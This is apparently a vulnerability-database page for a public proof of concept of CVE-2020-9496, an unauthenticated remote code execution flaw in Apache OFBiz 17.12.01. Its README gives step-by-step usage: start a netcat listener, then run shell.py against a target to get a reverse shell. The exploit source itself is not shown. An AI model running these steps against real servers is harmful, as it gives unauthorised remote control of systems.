CVE-2020-9496 PoC — Apache OFBiz 代码问题漏洞

Source

Associated Vulnerability

Description

ApacheOfBiz 17.12.01 - Unauthorized Remote Code Executión 

Readme

# CVE-2020-9496
ApacheOfBiz 17.12.01 - Unauthorized Remote Code Executión 

XML-RPC request are vulnerable to unsafe deserialization.

# Steps

## Step 1:

`pip3 install -r requeriments.txt`

## Step 2:

`nc -nlvp <port>` # attack computer

## Step 3:

`python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>`

## Step 4:

**You should have a shell in your nc listener**


![shell](https://user-images.githubusercontent.com/87484792/184951495-a1a03e14-9e22-4433-bb7d-354e5b6c5a03.gif)

File Snapshot

 [4.0K]  /data/pocs/5278ff251db05cd9f4dec9edf1dd0e994b115249
├── [ 513]  README.md
├── [  69]  requirements.txt
└── [7.1K]  shell.py

0 directories, 3 files

Remarks